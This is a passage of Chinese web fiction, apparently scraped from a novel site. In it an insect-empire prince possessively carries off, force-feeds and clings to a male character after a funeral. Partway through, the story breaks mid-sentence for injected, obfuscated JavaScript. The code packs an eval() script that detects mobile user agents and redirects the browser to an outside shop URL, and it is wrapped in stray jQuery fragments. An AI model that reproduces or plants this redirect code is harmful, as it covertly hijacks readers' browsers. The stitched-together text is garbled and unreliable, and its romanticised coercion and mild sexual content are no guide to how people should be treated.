弥赛亚草草穿好丧服。
出发菲塔勒斯追悼会前,他从仆从送来的丧服里选了最简单的一套。没想到还是如此冗繁。他刚只脱下了一小部分,重新穿上仍然费力气。
这场接触的好处是立竿见影的,腰也不疼了,头也不痛了,血也不吐了。虽然达不到和雌虫真刀实枪做.爱的效果,也能稍微挽救下弥赛亚岌岌可危的生命。
副作用也是立竿见影的。丧服内层的布料,柔软顺滑如羊乳,弥赛亚动作时,擦过身体有放大了又痒又痛的触感。赫尔格伦吸得太用力了。周围的皮肤快被他给嗦紫。疯狗。
弥赛亚想拿烟斗,用药物麻醉知觉,手伸出才恍然想起这不是在家里,也没虫会递到他手心。
赫尔格伦攥住弥赛亚伸出的手腕:“怎么了,弥弥。”
他没得到信息素抚慰,生殖腔也没有得到雄虫,但依旧心情颇好。和近侍们通讯时都和颜悦色:“送一套备用衣服过来。”
弥赛亚的丧服还保持着勉强的整洁。
赫尔格伦的军装已经一团糟糕了。
皱巴巴的,上面淋了血、膝部沾了尘土、下身有水渍。不堪入目。
被安排送衣服的近侍近两年才升到赫尔格伦身边。二皇子贬和杀的虫太多,他和这一批近侍才有了机会。
近侍记得,一离开第二军军团长追悼会,二皇子便命令他们埋伏追捕一艘不知名的飞船。
他发出这道命令时几近咬牙切齿,神态令虫发怵,让虫感觉他对此虫恨之入骨。
上司的敌虫就是他们的敌虫,因此近侍们追得格外卖力,然而不慎,差点让敌虫与他们玉石俱焚。
下属办事不力,二皇子恨到不惜亲自出手了——
他撕开最后一道防线,汹汹然独身进入敌虫飞船。
想必与敌虫展开了一场殊死搏斗!
战况惨烈,血液横溅,所以二皇子吩咐送来新衣服。
二皇子最后一定狠狠杀死了敌虫:他打来的通讯里都有着得逞的笑。
杀了敌虫就不能杀他们了哦。
摸不准二皇子的脾性,近侍全身紧绷,接近坠毁飞船的脚步谨慎。
然而在靠近时,却闻到了雌虫信息素的味道——用于调情、勾引雄虫的信息素。
啊?
这信息素霸道而狂野,热情地挑拨着雄虫。而雄虫,似乎没有雄虫,一点雄虫的信息素都没有。
啥意思?二皇子在敌虫前自卫?
他进去飞船时埋着头,放下衣服后忍不住瞄了一眼。
看见一只脚踩在二皇子大腿上。
谁的脚?雄虫的?!哪位?
有雄虫,二皇子却没激发起他丝毫回应,那么上个月还在虫皇陛下面前斩钉截铁拒绝雄虫的二皇子是在倒、贴吗?
近侍大为震惊。
以至于差点打翻了空托盘。
他吓得赶紧离开,不敢深想,更不敢看坐着的、不知身份的雄虫。
——
赫尔格伦换好衣服,拿披风把弥赛亚裹起来,严实地盖住被割破一道的丧服,拦腰一把把弥赛亚抱起来:“我们走。”
他抱过弥赛亚很多次:
赫尔格伦在行宫小住时总观察这只发育期的雄虫。
发觉他挑食。用餐总是吃很少,猫舔食一样。
雄虫是他私虫的,赫尔格伦有义务让他长好,前提就是摄入营养足够。荒星论坛上写了不能对挑食的雄虫说重话,赫尔格伦记住了,不能责骂又想不出别的办法,于是决定亲手喂他。
早餐时,一手捞过餐桌对面的弥赛亚,把他抱到腿上坐下,然后捏住他的脸颊两侧,掰开嘴,另一手拿着勺子喂到他嘴边:
“多吃点,弥弥。”
弥弥,是雄虫保育组对弥赛亚的称呼,赫尔格伦恶趣味地也跟着喊。
弥赛亚:“放手。”
赫尔格伦:“你吃完。”
赫尔格伦两米多的身高,抱弥赛亚很容易,大手揽着他的腰。
弥赛亚挣脱不了——全帝国大概没几只虫能挣开,烦得用精神力侵入赫尔格伦的精神海,用疼痛逼他放手。
赫尔格伦装模作样嘶了几声,手依旧稳稳的:“你不会想要哥哥用嘴喂你吧?”
弥赛亚:“……”
“疯狗。”弥赛亚骂他。
这是他开口以来,说的最多的一个词,使用场合尽是骂赫尔格伦。
赫尔格伦毫无芥蒂,甚至变本加厉地“汪”了一声。
“神经病。”
弥赛亚看起来想翻白眼,很少见他脸上这么生动的表情。
神经病也是个他口中的新词。打卡。
赫尔格伦没忍住,也完全不去忍,并且忘记了要改善弥赛亚挑食毛病的初心,勺子放下,捏了下弥赛亚的脸。
“变态。”
捏。
“控制狂。”
再捏。
“躁狂症。”
像发声玩具,一捏一响,相当有趣。
原来养雄虫这么好玩。
赫尔格伦又捏,弥赛亚却识破了他的把戏,丧着一张脸,怎么捏也不动弹了。
直到被别事耽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637343|206131||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
搁的雄虫保育组出现,见此情形,齐声大叫,仿佛八百个音响:
“殿下,雄虫阁下身娇体弱,您不能这样对他!!!”
……
再后来,赫尔格伦精神海污染,需要雄虫精神力抚慰。
S级雄虫被请来做这项工作,但对赫尔格伦根本没用。
雄虫战战兢兢,害怕螳螂种,这个种族在原始时期有吃过雄虫伴侣的先例。
受心情影响,他放出的精神力也是微弱,对上污染相当于用橡皮擦足球场那么大的污渍。只能说聊胜于无。
赫尔格伦最后窝火地把虫送了回去,在雄保协会的监管下当然不会、也不屑对雄虫动手,即便对方是个废物。
他回到行宫,远远看到沙发上的弥赛亚心下一沉,潜意识不想把燥火发泄他身上,但任何虫遇到精神海被污染、理智失衡的雌虫都只有被不受控制地波及的份。
然而他的燥郁却在靠近弥赛亚时被奇怪地平息。
只待在弥赛亚旁边,弥赛亚不用额外做什么,赫尔格伦就能感受到一种平静。仿佛找到指引。
赫尔格伦搬进了弥赛亚的寝宫,夜夜抱着他安睡。
从背后搂住他,像个汤勺,胸膛紧贴弥赛亚的背,腿卡进他的腿间,手搭在他腰上。
弥赛亚推他:“热。”
赫尔格伦不松手,只把房间温度调低。他弓背,贪婪地吸着弥赛亚发丝的味道,贴得更紧。
赫尔格伦做的理直气壮,没有情.欲也没有羞耻,只像顽劣的孩子抱住玩具。
弥赛亚是他捡到、他养大的雄虫。
第一个全然属于他的东西。
赫尔格伦理所当然、不容置疑地完全占有他,犹如身体占有肋骨。
……
“去哪?”
赫尔格伦:“兰纳星,我的行宫。”
弥赛亚:“我不去。”
赫尔格伦没听见一样,抱着他继续往外走。
“我以为,我和你说得很清楚了,”弥赛亚被披风牢牢卷着,腾不出手,于是又用精神力,他的身体状况好了些,精神力也强了,打在赫尔格伦脸上啪的一声脆响:“我不会和你一起,也不会回到兰纳星。”
“但是我不想怎么办呢?弥弥。”
赫尔格伦捂住脸,盯着和他僵持的弥赛亚,愉悦的表情一点点降为沉郁,看起来莫名可怖:
“你也不想尝试被我打晕绑走的感觉—”
赫尔格伦的话戛然而止,眉宇含怒——
一条蛛丝从飞船被腐蚀的顶吊下来,阴冷地缠住他的脖子。